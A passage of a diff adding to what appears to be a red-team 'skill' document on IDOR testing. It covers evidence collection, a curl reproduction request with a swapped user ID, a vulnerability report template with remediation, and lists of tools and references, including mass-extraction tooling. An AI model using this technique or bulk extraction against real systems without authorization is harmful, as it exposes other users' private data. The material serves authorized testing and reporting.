|
1545
|
+
### Evidence to Collect
|
|
1546
|
+
|
|
1547
|
+
For every confirmed IDOR vulnerability, collect the following:
|
|
1548
|
+
|
|
1549
|
+
1. **HTTP Request/Response Pair (Burp):**
|
|
1550
|
+
- Export from Burp Repeater: Right-click → "Save item"
|
|
1551
|
+
- Save as: `evidence/IDOR-001-request.txt`
|
|
1552
|
+
|
|
1553
|
+
2. **Screenshot:**
|
|
1554
|
+
- Show User A's JWT in request header
|
|
1555
|
+
- Show User B's data in response body
|
|
1556
|
+
- Highlight the mismatched IDs
|
|
1557
|
+
- Save as: `evidence/IDOR-001-screenshot.png`
|
|
1558
|
+
|
|
1559
|
+
3. **Mass Extraction Statistics:**
|
|
1560
|
+
- Total records accessible
|
|
1561
|
+
- Sample of 3-5 records (anonymized or with permission)
|
|
1562
|
+
- Save as: `evidence/IDOR-001-extraction-stats.json`
|
|
1563
|
+
|
|
1564
|
+
4. **Curl Reproduction Command:**
|
|
1565
|
+
```bash
|
|
1566
|
+
# Document the exact curl command to reproduce
|
|
1567
|
+
curl -s \
|
|
1568
|
+
-H "Authorization: Bearer <REDACTED_UserA_JWT>" \
|
|
1569
|
+
https://target.com/api/users/1337
|
|
1570
|
+
```
|
|
1571
|
+
|
|
1572
|
+
### Report Writing Template
|
|
1573
|
+
|
|
1574
|
+
```markdown
|
|
1575
|
+
## [IDOR-001] Insecure Direct Object Reference in User Profile API
|
|
1576
|
+
|
|
1577
|
+
**Severity:** High
|
|
1578
|
+
**CVSS Score:** 8.6
|
|
1579
|
+
**CVSS Vector:** AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
|
|
1580
|
+
**Endpoint:** `GET /api/v1/users/{id}`
|
|
1581
|
+
|
|
1582
|
+
### Description
|
|
1583
|
+
|
|
1584
|
+
The application fails to verify that the authenticated user is authorized to access the
|
|
1585
|
+
requested user resource. Any authenticated user can read, modify, or delete any other
|
|
1586
|
+
user's profile by changing the numeric `id` parameter in the URL path.
|
|
1587
|
+
|
|
1588
|
+
### Steps to Reproduce
|
|
1589
|
+
|
|
1590
|
+
1. Log in as User A (email: usera@test.com)
|
|
1591
|
+
2. Navigate to `GET /api/v1/users/1001` — observe your own profile data
|
|
1592
|
+
3. Change the ID to another user's ID: `GET /api/v1/users/1002`
|
|
1593
|
+
4. Observe that User B's profile data is returned without error
|
|
1594
|
+
|
|
1595
|
+
### Proof of Concept
|
|
1596
|
+
|
|
1597
|
+
**Request (User A accessing User B's data):**
|
|
1598
|
+
```
|
|
1599
|
+
GET /api/v1/users/1002 HTTP/1.1
|
|
1600
|
+
Host: target.com
|
|
1601
|
+
Authorization: Bearer <User_A_JWT>
|
|
1602
|
+
```
|
|
1603
|
+
|
|
1604
|
+
**Response:**
|
|
1605
|
+
```json
|
|
1606
|
+
{
|
|
1607
|
+
"id": 1002,
|
|
1608
|
+
"username": "userbvictim",
|
|
1609
|
+
"email": "userb@target.com",
|
|
1610
|
+
"phone": "+1-555-0102"
|
|
1611
|
+
}
|
|
1612
|
+
```
|
|
1613
|
+
|
|
1614
|
+
### Impact
|
|
1615
|
+
|
|
1616
|
+
Any authenticated user can access, modify, or delete any other user's profile data.
|
|
1617
|
+
Testing confirmed 52,341 user records are accessible. Data includes email addresses,
|
|
1618
|
+
phone numbers, physical addresses, and account balances.
|
|
1619
|
+
|
|
1620
|
+
### Remediation
|
|
1621
|
+
|
|
1622
|
+
1. Implement server-side authorization checks: verify `current_user.id == requested_id`
|
|
1623
|
+
or that the user has explicit permission to access the requested resource.
|
|
1624
|
+
2. Use indirect references: map session-scoped tokens to internal IDs server-side.
|
|
1625
|
+
3. Implement centralized authorization middleware applied to all object access.
|
|
1626
|
+
4. Log and alert on access pattern anomalies (sequential ID scanning).
|
|
1627
|
+
|
|
1628
|
+
### References
|
|
1629
|
+
|
|
1630
|
+
- OWASP Top 10: A01:2021 – Broken Access Control
|
|
1631
|
+
- OWASP IDOR Prevention Cheat Sheet
|
|
1632
|
+
- OWASP API Security Top 10: API1:2023 – BOLA
|
|
1633
|
+
```
|
|
1634
|
+
|
|
1635
|
+
---
|
|
1636
|
+
|
|
1637
|
+
## 10. Resources
|
|
1638
|
+
|
|
1639
|
+
### Tools
|
|
1640
|
+
|
|
1641
|
+
| Tool | URL | Purpose |
|
|
1642
|
+
|---|---|---|
|
|
1643
|
+
| ffuf | https://github.com/ffuf/ffuf | IDOR fuzzing automation |
|
|
1644
|
+
| Arjun | https://github.com/s0md3v/Arjun | Hidden parameter discovery |
|
|
1645
|
+
| jwt_tool | https://github.com/ticarpi/jwt_tool | JWT manipulation for vertical escalation |
|
|
1646
|
+
| katana | https://github.com/projectdiscovery/katana | Web spider / endpoint collection |
|
|
1647
|
+
| gau | https://github.com/lc/gau | Historical URL collection |
|
|
1648
|
+
| hakrawler | https://github.com/hakluke/hakrawler | Fast web crawler |
|
|
1649
|
+
| WhatWaf | https://github.com/Ekultek/WhatWaf | WAF fingerprinting |
|
|
1650
|
+
| Burp Suite | https://portswigger.net/burp | Proxy, repeater, scanner |
|
|
1651
|
+
| mitmproxy | https://mitmproxy.org | Lightweight HTTP proxy |
|
|
1652
|
+
| aiohttp | https://docs.aiohttp.org | Async HTTP for mass extraction |
|
|
1653
|
+
| Autorize | https://github.com/PortSwigger/autorize | Burp plugin for automated IDOR detection |
|
|
1654
|
+
| Authz | https://github.com/portswigger/authz | Burp plugin for authorization testing |
|
|
1655
|
+
|
|
1656
|
+
### Wordlists
|
|
1657
|
+
|
|
1658
|
+
| Wordlist | URL | Purpose |
|
|
1659
|
+
|---|---|---|
|
|
1660
|
+
| Burp Parameter Names | https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt | Parameter fuzzing |
|
|
1661
|
+
| API Endpoints | https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content | API endpoint discovery |
|
|
1662
|
+
| IDOR Wordlist | https://github.com/xmendez/wfuzz/tree/master/wordlist | ID-specific fuzzing |
|
|
1663
|
+
|
|
1664
|
+
### References and Research
|
|
1665
|
+
|
|
1666
|
+
| Resource | URL |
|
|
1667
|
+
|---|---|
|
|
1668
|
+
| OWASP Top 10 A01:2021 – Broken Access Control | https://owasp.org/Top10/A01_2021-Broken_Access_Control/ |
|
|
1669
|
+
| OWASP IDOR Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html |
|
|
1670
|
+
| OWASP API Security Top 10 – BOLA | https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/ |
|
|
1671
|
+
| PortSwigger Web Academy – IDOR | https://portswigger.net/web-security/access-control/idor |
|
|
1672
|
+
| HackerOne IDOR Reports | https://hackerone.com/hacktivity?querystring=idor |
|
|
1673
|
+
| Nahamsec IDOR Tips | https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters |
|
|
1674
|
+
| IDOR in the Wild (Medium) | https://medium.com/search?q=IDOR |
|
|
1675
|
+
| PentesterLand IDOR Writeups | https://pentester.land/list-of-bug-bounty-writeups/ |
|
|
1676
|
+
| UUID Security | https://datatracker.ietf.org/doc/html/rfc4122 |
|
|
1677
|
+
| UUIDv1 Timestamp Prediction | https://github.com/bishopfox/uuid-hunter |
|
|
1678
|
+
| mass-idor GitHub | https://github.com/daffainfo/mass-idor |
|
|
1679
|
+
| IDOR Automation Examples | https://github.com/itsmaheshkariya/idor |
|
|
1680
|
+
|
|
1681
|
+
### Bug Bounty IDOR Hall of Fame Reports
|
|
1682
|
+
|
|
1683
|
+
| Program | Title | Payout | URL |
|
|
1684
|
+
|---|---|---|---|
|
|
1685
|
+
| HackerOne | IDOR to view private user data | $5,000 | https://hackerone.com/reports/227522 |
|
|
1686
|
+
| Facebook | IDOR to delete any video | — | https://hackerone.com/reports/221455 |
|
|
1687
|
+
| Twitter | IDOR to view DMs | $3,500 | https://hackerone.com/reports/322844 |
|
|
1688
|
+
| Shopify | IDOR in partner API | $500 | https://hackerone.com/reports/175014 |
|
|
1689
|
+
| Uber | IDOR affecting 6M drivers | $10,000 | https://hackerone.com/reports/358049 |
|
|
1690
|
+
|
|
1691
|
+
---
|
|
1692
|
+
|
|
1693
|
+
*Skill maintained by RTExit Red Team Operations. For updates, contribute to the RTExit skills repository.*
|